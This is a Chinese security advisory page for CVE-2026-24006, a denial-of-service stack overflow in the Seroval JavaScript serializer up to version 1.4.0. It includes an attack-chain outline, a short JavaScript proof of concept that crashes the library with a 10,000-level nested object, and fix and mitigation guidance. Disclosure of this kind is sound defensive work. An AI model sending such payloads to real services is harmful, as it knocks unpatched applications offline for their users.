IPBUF安全漏洞报告
English
CVE-2026-24006 CVSS 7.5 高危

CVE-2026-24006 Seroval深度递归序列化栈溢出漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24006
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Seroval

相关标签

栈溢出拒绝服务Seroval深度递归CVE-2026-24006JavaScript序列化DoS

漏洞概述

Seroval是一个JavaScript库,用于实现超越JSON.stringify能力的高级JS值序列化功能,支持复杂数据结构的序列化与反序列化。然而在1.4.0及以下版本中,序列化具有极端嵌套深度的对象时,由于缺乏深度限制机制,可能导致最大调用栈限制被超出,从而引发栈溢出错误。该漏洞属于拒绝服务(DoS)类型,攻击者可通过构造具有极大嵌套层级的恶意数据触发漏洞,使应用程序崩溃或变得不可用。漏洞已于1.4.1版本中修复,通过引入depthLimit参数限制序列化深度来解决此问题。

技术细节

Seroval库在处理嵌套对象序列化时采用递归遍历方式。在1.4.0及更早版本中,序列化方法(如parse、serialize)未对对象嵌套深度进行限制。当输入数据包含极深嵌套结构(如数百甚至数千层嵌套的对象)时,递归调用链过长将超出JavaScript引擎的默认调用栈大小限制(通常为1万至2万帧左右),导致抛出RangeError: Maximum call stack exceeded异常。攻击者只需向使用Seroval进行数据处理的服务端或客户端应用提交精心构造的深层嵌套JSON数据即可触发漏洞。1.4.1版本通过新增depthLimit参数,在序列化/反序列化方法中设置最大允许深度,当达到深度限制时主动抛出错误而非继续递归,从而有效防止栈溢出。

攻击链分析

STEP 1
步骤1
攻击者识别使用Seroval库进行数据序列化的目标应用程序
STEP 2
步骤2
攻击者构造具有极深嵌套层级的恶意JSON对象(通常10000+层嵌套)
STEP 3
步骤3
攻击者将恶意数据作为序列化输入提交到目标应用(如API请求、用户上传等)
STEP 4
步骤4
Seroval库递归遍历嵌套对象时,调用栈深度超出JavaScript引擎限制
STEP 5
步骤5
触发RangeError: Maximum call stack exceeded异常,导致应用程序崩溃或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-24006 PoC - Stack Overflow via Deep Nested Object // Affected: Seroval <= 1.4.0 import { parse, serialize } from 'seroval'; // Generate deeply nested object (10000 levels) function createDeepNestedObject(depth) { let obj = {}; let current = obj; for (let i = 0; i < depth; i++) { current.nested = {}; current = current.nested; } current.value = 'deeply_nested_payload'; return obj; } // Test case 1: Trigger via serialize (serialization) try { const deepObj = createDeepNestedObject(10000); const serialized = serialize(deepObj); console.log('Serialization succeeded'); } catch (e) { console.log('Stack Overflow triggered during serialization:', e.message); } // Test case 2: Trigger via parse (deserialization) try { const deepJSON = JSON.stringify(createDeepNestedObject(10000)); const parsed = parse(deepJSON); console.log('Parse succeeded'); } catch (e) { console.log('Stack Overflow triggered during parsing:', e.message); } // Fixed version (1.4.1+) with depthLimit parameter: // const serialized = serialize(deepObj, { depthLimit: 1000 }); // This will throw an error when depth limit is reached instead of crashing

影响范围

Seroval <= 1.4.0

防御指南

临时缓解措施
在升级到修复版本之前,可通过以下临时措施缓解风险:1) 对所有用户输入的JSON数据进行预验证,限制嵌套深度在合理范围内(如100层以内);2) 使用try-catch捕获可能的栈溢出异常;3) 在应用层实施请求大小和复杂度限制;4) 考虑使用流式解析器处理不可信来源的深层嵌套数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表